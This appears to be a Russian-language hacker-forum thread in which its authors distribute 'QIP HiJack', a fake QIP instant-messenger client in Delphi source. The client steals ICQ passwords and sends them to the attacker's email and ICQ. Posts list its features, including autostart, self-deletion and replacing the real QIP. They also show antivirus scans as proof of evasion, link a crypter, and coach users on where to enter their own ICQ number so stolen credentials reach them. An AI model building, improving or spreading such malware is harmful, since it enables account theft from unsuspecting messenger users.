QIP HiJack

c0ded by LESHIY & TheSADIST
ICQ:86626
TheSADIST
Icq: 603590


1.Убрал при запуске форму #3
т.к. из за неё была ошибка с остальными формами..
Если когото смущает - Project:Options и перенисите форму 3 в список активных
И поставьте её в качестве MainForm
2. Сделал якобы регистрацию с одной картинкой.
Исправил пару мелких багов.
Работаю на данный момент с фтп и статистикой..

Данное ПО предоставленно только в качестве ознакомительных целей..
За нанесение ущерба кому либо автора данного ЛжеQIP ответственности не несут.
Download

 

а описание?) что делает то?)

 

Угумс..
Писдит пароли с квипа, т.е. пользователь сам отправляет вам свой пароль на мыло и на асикуу.. Дизайн почти один в один, кому что то ненравится, пусть переделывает..

 

Хм, а разве у нас палится? У нас ещё отправка на мыло, и сейчас добавлю ещё несколько функций.. И притом с открытым кодом..
"Зделаю фейки любой сложности пример: " С этим сорцом можно сделать самому..
У кого есть фантазия, сделать это проще простого.

 

LESHIY & TheSADIST +1 респект парни, за то 4то кодите для паблика. Немного доработать и всё будет ок.

 

opsik не тот раздел. В продажи со своим.

 

exe выкладывайте плиз

 

Новая версия!=))
Итак:
1. Всплывающее окно о том что подключится нельзя=))
2. Самоудаление (По желанию)
3. CopyFile в папку с QIP, заменение файла QIP=))
У меня там куча ошибок в тексте, желательно вам их исправить=)


Скачать

 

Прога нормальная.

Главное чтоб в коде ошибок небыло.

 

opsik
Когда у тебя что-то не выходит с первого раза ты сразу бежишь менять пороли и т.д.
Ваш совт разный и то что его совта более популярна обьесняется ее халявностью.
P.S. Сделай так чтоб пороль на аси сразу менялся и не будет проблем

 

чё то не врубаюсь а как запустить то какой файл запускать и чё делать?

 

Функции:
1.Самоудаление
2.Автозагрузка
3.Закрытие оригинального QIP
4.Копирование ЛжеQIP в папку с настоящим=)
5.Отправка на мыло number;password!
6.Отправка на ICQ number;password! thnx coban2k!
7. Всплывающее окно даже со звуком!=)))
Всё это по желанию(см. сорцы)

Планируется:
Отправка номер;пасс на фтп-гейт=))


Данный софт и исходный код предоставленн только в качестве ознакомительных целей.
Автора данного по ответственности не несут=)



QIP HiJack!


Рузультат проверки на ВирусСкан:
A-Squared
Found nothing
AntiVir
Found nothing
ArcaVir
Found nothing
Avast
Found Win32:Small-DJC
AVG Antivirus
Found nothing
BitDefender
Found nothing
ClamAV
Found nothing
Dr.Web
Found nothing
F-Prot Antivirus
Found nothing
F-Secure Anti-Virus
Found nothing
Fortinet
Found nothing
Kaspersky Anti-Virus
Found nothing
NOD32
Found nothing
Norman Virus Control
Found nothing
Panda Antivirus
Found nothing
Rising Antivirus
Found nothing
VirusBuster
Found Packed/FSG
VBA32
Found nothing

 

Нашел мелкие баги....

Найти:

Code:

procedure TForm1.btn5Click(Sender: TObject);
var
m:Pchar;
begin
if edt2.Text=''
then
ShowMessage('Введите пароль для регистрации нового номера ICQ');
sleep(2000);
Image1.Visible:=true;
pnl2.Caption:='Картинка полученна...'
end;

Заменить на

Code:

procedure TForm1.btn5Click(Sender: TObject);
var
m:Pchar;
begin
if edt2.Text='' then
ShowMessage('Введите пароль для регистрации нового номера ICQ')
else begin
  Image1.Visible := true;
  pnl2.Caption := 'Картинка получена..'
end;
end;

Т.к. если поле нового пароля пусто и нажать на кнопку "Показать новую картинку" то выведется алерт о том что пароль не введен, но потом все равно картинка загрузится

 

Криптор для QIP у кого он спалится=)
http://www.airwaychat.info/QIP[CRYPT].rar


A-Squared Found nothing
AntiVir Found nothing
ArcaVir Found nothing
Avast Found nothing
AVG Antivirus Found nothing
BitDefender Found BehavesLike:Win32.ProcessHijack (probable variant)
ClamAV Found nothing
Dr.Web Found nothing
F-Prot Antivirus Found nothing
F-Secure Anti-Virus Found nothing
Fortinet Found nothing
Kaspersky Anti-Virus Found nothing
NOD32 Found nothing
Norman Virus Control Found nothing
Panda Antivirus Found nothing
Rising Antivirus Found nothing
VirusBuster Found nothing
VBA32 Found nothing

 

Большое спасибо автору, отличная вещь.
Но у меня возникло несколько вопросов, так как туго у меня с делфи.
В делфи 7 при открытии исходника у меня выскакивает ошибка
http://slil.ru/24548559
Может подскажите как исправить.
И еще где в коде прописать на какую ась будут уплывать парли?

 

В общем проблем нет никаких...
Установи асику компонент. Он лежит в папке с сорцами в ICQclient Components ну или что-то наподобии =) Просто у нас с лешим немного разные названия т.к. выкладывает он и последняя редакция его... =)
А аську и пароль надо вписывать в форме 1 в самом низу два текст эдита...

 

а кампилятор када буит?)

 

Будет билдер. если проект будет развиваться =)

 

Так, компонеты я добавил.
Вот немного не втыкаю куда асю прописать куда пароли будут отплывать.

Вот отрывок из формы 1 (низ страници)

Code:

procedure TForm1.btn5Click(Sender: TObject);
var
m:Pchar;
begin
[COLOR=Green]if edt2.Text=''[/COLOR]
then
ShowMessage('Введите пароль для регистрации нового номера ICQ');
sleep(2000);
Image1.Visible:=true;
pnl2.Caption:='Картинка полученна..'
end;

procedure TForm1.edt3Change(Sender: TObject);
begin
[COLOR=Green]if edt3.Text='35347' then[/COLOR]
btn6.Enabled:=true
else
btn6.Enabled:=false;
end;

Правельно я выделил зеленым цветом куда надо вписать свою аську ?
Извените, но тока скачал учебник по делфи.
Спасибо заранее.

 

Писдец чел даёш..
То что ты выделил = процесс регистрации а аську вписывать в SendMessage